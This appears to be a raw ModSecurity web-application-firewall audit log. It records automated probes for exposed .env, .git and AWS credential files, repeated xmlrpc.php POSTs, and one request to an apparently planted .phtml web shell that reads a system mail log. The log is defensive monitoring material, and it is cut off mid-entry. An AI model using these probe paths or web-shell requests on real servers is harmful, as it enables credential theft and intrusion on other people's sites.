p1=521, p2=1828, p3=42, p4=66, p5=191, sr=126, sw=118, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4b1d0e2d-Z-- --f5bde339-A-- [16/Jun/2025:02:45:02.697594 +0530] aE831Yv0YhcYGG7mzIpovQAAABU 185.177.72.210 48492 127.0.0.1 7081 --f5bde339-B-- GET /.git/logs/refs/remotes/origin HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f5bde339-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9d65b60068b492a6b2807e0e00fd8dbd1750022102; expires=Sun, 15 Jun 2025 22:15:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f5bde339-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/logs/refs/remotes/origin"] [unique_id "aE831Yv0YhcYGG7mzIpovQAAABU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022101919932 777735 (- - -) Stopwatch2: 1750022101919932 777735; combined=2012, p1=404, p2=1503, p3=0, p4=0, p5=105, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f5bde339-Z-- --4ee2db5c-A-- [16/Jun/2025:02:45:04.790000 +0530] aE832Iv0YhcYGG7mzIpovgAAABU 185.177.72.210 48582 127.0.0.1 7081 --4ee2db5c-B-- GET /:8181/.env.save HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4ee2db5c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fa6911e9526f0deada4dc46bfe102d981750022104; expires=Sun, 15 Jun 2025 22:15:04 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4ee2db5c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/.env.save"] [unique_id "aE832Iv0YhcYGG7mzIpovgAAABU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022104114106 675955 (- - -) Stopwatch2: 1750022104114106 675955; combined=2172, p1=469, p2=1619, p3=0, p4=0, p5=83, sr=112, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4ee2db5c-Z-- --25e6165d-A-- [16/Jun/2025:02:45:11.698210 +0530] aE8330-pZ3B--SoGku87JAAAABE 185.177.72.210 53162 127.0.0.1 7081 --25e6165d-B-- GET /:10000/stag/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --25e6165d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d4a133c0e99d262a886ecf4be66d08741750022111; expires=Sun, 15 Jun 2025 22:15:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --25e6165d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/stag/.env"] [unique_id "aE8330-pZ3B--SoGku87JAAAABE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022111016954 681322 (- - -) Stopwatch2: 1750022111016954 681322; combined=1856, p1=357, p2=1390, p3=0, p4=0, p5=108, sr=83, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --25e6165d-Z-- --7d63881e-A-- [16/Jun/2025:02:45:16.672171 +0530] aE835NxCjYf3vhjKXItxxgAAAA8 185.177.72.210 53364 127.0.0.1 7081 --7d63881e-B-- GET /:8888/.env.example HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7d63881e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c5b6a384bf2089f2e5f70cdb2947dd971750022116; expires=Sun, 15 Jun 2025 22:15:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7d63881e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/.env.example"] [unique_id "aE835NxCjYf3vhjKXItxxgAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022116001286 670950 (- - -) Stopwatch2: 1750022116001286 670950; combined=2083, p1=447, p2=1506, p3=0, p4=0, p5=129, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7d63881e-Z-- --4e806704-A-- [16/Jun/2025:02:45:25.876334 +0530] aE837SHEjD4mqWjYVm16qAAAABM 185.177.72.210 60452 127.0.0.1 7081 --4e806704-B-- GET /:8880/admin/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4e806704-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=eab965e75746ee027927adaa499f3c881750022125; expires=Sun, 15 Jun 2025 22:15:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4e806704-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/admin/.env"] [unique_id "aE837SHEjD4mqWjYVm16qAAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022125199986 676411 (- - -) Stopwatch2: 1750022125199986 676411; combined=1370, p1=330, p2=950, p3=0, p4=0, p5=90, sr=78, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4e806704-Z-- --b3d3146d-A-- [16/Jun/2025:02:45:51.023826 +0530] aE84BtxCjYf3vhjKXItx1gAAAA8 128.199.112.101 43894 127.0.0.1 7081 --b3d3146d-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 504 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --b3d3146d-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --b3d3146d-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE84BtxCjYf3vhjKXItx1gAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022150092872 931009 (- - -) Stopwatch2: 1750022150092872 931009; combined=2399, p1=424, p2=1558, p3=43, p4=64, p5=192, sr=140, sw=118, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b3d3146d-Z-- --e697270b-A-- [16/Jun/2025:02:46:28.728770 +0530] aE84K80RsCO0eBtdhx7CCwAAAAg 185.177.72.210 56242 127.0.0.1 7081 --e697270b-B-- GET /favicons/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e697270b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ee0a51309971c6e0d013ae3b2a95395a1750022188; expires=Sun, 15 Jun 2025 22:16:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e697270b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/favicons/.env"] [unique_id "aE84K80RsCO0eBtdhx7CCwAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022187959536 769316 (- - -) Stopwatch2: 1750022187959536 769316; combined=2006, p1=428, p2=1483, p3=0, p4=0, p5=94, sr=106, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e697270b-Z-- --65bb513c-A-- [16/Jun/2025:02:46:29.756384 +0530] aE84LVfWRcme38U-qk7rOgAAAAI 185.177.72.210 56332 127.0.0.1 7081 --65bb513c-B-- GET /db1.mdb HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --65bb513c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f4678960c489224773c53be86ea0ccb01750022189; expires=Sun, 15 Jun 2025 22:16:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --65bb513c-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".mdb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".mdb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/db1.mdb"] [unique_id "aE84LVfWRcme38U-qk7rOgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022189055167 701308 (- - -) Stopwatch2: 1750022189055167 701308; combined=1925, p1=351, p2=1482, p3=0, p4=0, p5=92, sr=97, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --65bb513c-Z-- --a327a00c-A-- [16/Jun/2025:02:46:40.650769 +0530] aE84N8SAI-lmnIgQu6D3fQAAAAc 185.177.72.210 50866 127.0.0.1 7081 --a327a00c-B-- GET /:5601/bootstrap/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a327a00c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=311ce812215d6afe167e33ced63401a01750022200; expires=Sun, 15 Jun 2025 22:16:40 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a327a00c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/bootstrap/.env"] [unique_id "aE84N8SAI-lmnIgQu6D3fQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022199907042 743791 (- - -) Stopwatch2: 1750022199907042 743791; combined=1722, p1=388, p2=1244, p3=0, p4=0, p5=89, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a327a00c-Z-- --0775ea56-A-- [16/Jun/2025:02:46:47.761243 +0530] aE84P4l8S04UZ4l67-nbsQAAAAk 185.177.72.210 51236 127.0.0.1 7081 --0775ea56-B-- GET /.docker/laravel/app/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0775ea56-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=214e753409968a9517e3c0edfc42d2dd1750022207; expires=Sun, 15 Jun 2025 22:16:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0775ea56-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.docker/laravel/app/.env"] [unique_id "aE84P4l8S04UZ4l67-nbsQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022207123588 637735 (- - -) Stopwatch2: 1750022207123588 637735; combined=1989, p1=373, p2=1544, p3=0, p4=0, p5=72, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0775ea56-Z-- --d569aa06-A-- [16/Jun/2025:02:46:52.047050 +0530] aE84Q2eJgEpdIdHvkzycxgAAAAY 128.199.112.101 52172 127.0.0.1 7081 --d569aa06-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --d569aa06-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --d569aa06-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE84Q2eJgEpdIdHvkzycxgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022211089211 957910 (- - -) Stopwatch2: 1750022211089211 957910; combined=2031, p1=395, p2=1252, p3=42, p4=64, p5=174, sr=102, sw=104, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d569aa06-Z-- --3ccefb60-A-- [16/Jun/2025:02:46:54.583926 +0530] aE84RdxCjYf3vhjKXItx_AAAAA8 185.177.72.210 52362 127.0.0.1 7081 --3ccefb60-B-- GET /theme_static/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3ccefb60-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1623fa0c6df3b6377127c2d0f04ea1d01750022214; expires=Sun, 15 Jun 2025 22:16:54 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3ccefb60-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/theme_static/.env"] [unique_id "aE84RdxCjYf3vhjKXItx_AAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022213937610 646398 (- - -) Stopwatch2: 1750022213937610 646398; combined=1949, p1=406, p2=1455, p3=0, p4=0, p5=87, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3ccefb60-Z-- --f3e76e4a-A-- [16/Jun/2025:02:47:03.777187 +0530] aE84TyHEjD4mqWjYVm163AAAABM 44.223.232.55 38906 127.0.0.1 7081 --f3e76e4a-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=//var/log&viewfile=//var/log/maillog.processed HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 44.223.232.55 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36 Accept-Encoding: gzip,deflate --f3e76e4a-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2951 Connection: close Content-Type: text/html; charset=UTF-8 --f3e76e4a-H-- Message: Warning. Matched phrase "var/log/maillog" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: var/log/maillog found within ARGS:viewfile: /var/log/maillog.processed"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "var/log/maillog" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: var/log/maillog found within ARGS:viewfile: /var/log/maillog.processed"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE84TyHEjD4mqWjYVm163AAAABM"] Apache-Handler: application/x-httpd-php Stopwatch: 1750022223768968 8273 (- - -) Stopwatch2: 1750022223768968 8273; combined=3019, p1=402, p2=2482, p3=33, p4=38, p5=64, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f3e76e4a-Z-- --b2c81e34-A-- [16/Jun/2025:02:47:11.413535 +0530] aE84ViHEjD4mqWjYVm164QAAABM 185.177.72.210 35888 127.0.0.1 7081 --b2c81e34-B-- GET /.aws/credentials/admin/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b2c81e34-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8140066f27132ad90c6cbbd2e6b4e31f1750022231; expires=Sun, 15 Jun 2025 22:17:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b2c81e34-H-- Message: Warning. Matched phrase "/.env" at 